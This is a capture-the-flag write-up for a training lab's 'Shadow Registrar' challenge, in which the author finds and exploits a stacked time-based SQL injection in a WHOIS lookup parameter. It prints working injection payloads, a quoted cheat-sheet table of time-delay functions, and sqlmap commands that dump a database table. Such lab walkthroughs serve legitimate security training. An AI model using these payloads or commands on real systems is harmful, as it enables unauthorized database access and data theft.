Shadow Registrar
RegistryPro's WHOIS terminal returns three things: a status word, a reflected domain name, and a lookup time. The query layer accepts stacked statements. Everything you need leaks through the clock.
Room Description

https://dashboard.webverselabs-pro.com/challenges/shadow-registrar
Scenario
RegistryPro shipped their public WHOIS lookup years ago on a legacy mysqli driver that still enables multi-statement execution. The UX team "modernised" the page by surfacing lookup latency — unaware that the timing channel is more than cosmetic. Make the registrar count.
Objective
RegistryPro's WHOIS terminal returns three things: a status word, a reflected domain name, and a lookup time. The query layer accepts stacked statements. Everything you need leaks through the clock.
Initial Analysis
We have a very look leet hacker-like DNS web app.

The frontend exposes the following endpoints:
<nav class="term-nav">
<a href="/index.php" class="active">> lookup</a>
<a href="/register.php" class="">> register</a>
<a href="/transfer.php" class="">> transfer</a>
<a href="/dns.php" class="">> dns records</a>
</nav>
There's also a lookup feature that we will look at later in detail, for now, we have the following form regarding it:
<form class="prompt" method="get" action="/whois.php">
<span class="glyph">></span>
<input type="text" name="domain" placeholder="example.com" autocomplete="off" autofocus />
<button type="submit">LOOKUP</button>
</form>
Finding the bug
Let's look at what most of the endpoints/categories do.

We don't see our input reflected here, but we can see it on the main dashboard.

We could potentially try to add a ' or " character to see if we cause any errors here.
Unfortunately we are getting rejected with malformed data.

Then we can move on to /transfer.php, but this also doesn't look likely like our injection point, since it requires an auth code.

I tried using our newly registered domain and did ' OR 1=1 -- - as a payload in the auth code to potentially trigger a success, but unfortunately it didn't pass.
And in dns records (or /dns.php), we can edit DNS records, this way we could get Stored SQLi for example, but unfortunately I don't see an error triggering for our input here, it gets rendered as a string.

The only place left we have to look at is the /whois.php function on the main dashboard.

Let's try to add an escaping character (') and see what happens.
https://47427e3e-3970-shadow-registrar-c6b9e.challenges.webverselabs-pro.com/whois.php?domain=test.com%27

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''test.com''' at line 1 in /var/www/html/whois.php:24 Stack trace: #0 /var/www/html/whois.php(24): mysqli->multi_query('SELECT status F...') #1 {main} thrown in /var/www/html/whois.php on line 24
Okay well, the challenge description basically leads us towards multi statement execution, so stacked queries with ; , and the error message also supports this with the multi_query statement, although not explicitly, since the same error message could pop up from single queries, but no need to read too much into that.
Exploitation
https://portswigger.net/web-security/sql-injection/cheat-sheet
Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
| Oracle | Does not support batched queries. | | ---------- | ---------------------------------------------------------------------------------------- | | Microsoft |
QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE
| | PostgreSQL | QUERY-1-HERE; QUERY-2-HERE | | MySQL | QUERY-1-HERE; QUERY-2-HERE |
Note
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
| Oracle | dbms_pipe.receive_message(('a'),10) | | ---------- | ------------------------------------- | | Microsoft | WAITFOR DELAY '0:0:10' | | PostgreSQL | SELECT pg_sleep(10) | | MySQL | SELECT SLEEP(10) |
Alrighty, let's figure out our payload, we need a condition and something that happens if the condition is met, so 1=1 is always true, since that condition is met, let's force the app to wait 5 seconds before it responds.
test.com'; SELECT IF(1=1, SLEEP(5), 0); -- -

We know that our injected stacked query worked because the lookup took 5001ms, but if we lookup test.com, then it only takes 1ms, so our SLEEP statement definitely works.

Knowing that SLEEP statements work, we can use that information to start extracting data by using the lookup time as a reference point, for example:
test.com'; SELECT IF(SUBSTRING(database(),1,1)='c', SLEEP(5), 0); -- -
If the database's first letter is "c", the page will load for 5 seconds, whereas if it isn't, the page will load instantly.


We can make an educated guess that the database is called "chalapp" based on the previous challenges.
Now that we know that time-based stacked queries work, we can automate this with sqlmap. Due to the error message we also know that the database is MySQL, so our sqlmap command should be:
sqlmap -r req --technique=S --level 5 --risk 3 --dbms=mysql

We have a confirmation that the domain parameter is vulnerable, let's start dumping tables.

We need to specify which database we want, since this way we extract both information_schema and chalapp, let's also batch the commands so sqlmap doesn't wait for our input.
sqlmap -r req \
--technique=TS \
--dbms=mysql \
-D chalapp \
--tables \
--batch

Okay, so the table that most likely looks like it would hold something useful is called vault. Let's specify the table with the -T switch, -dump to extract data, and let's set the time delay to 3 seconds since five might be overkill.
sqlmap -r req \
--technique=TS \
--dbms=mysql \
-D chalapp \
-T vault \
--dump \
--time-sec=3 \
--retries=5 \
--batch

And we successfully get the flag!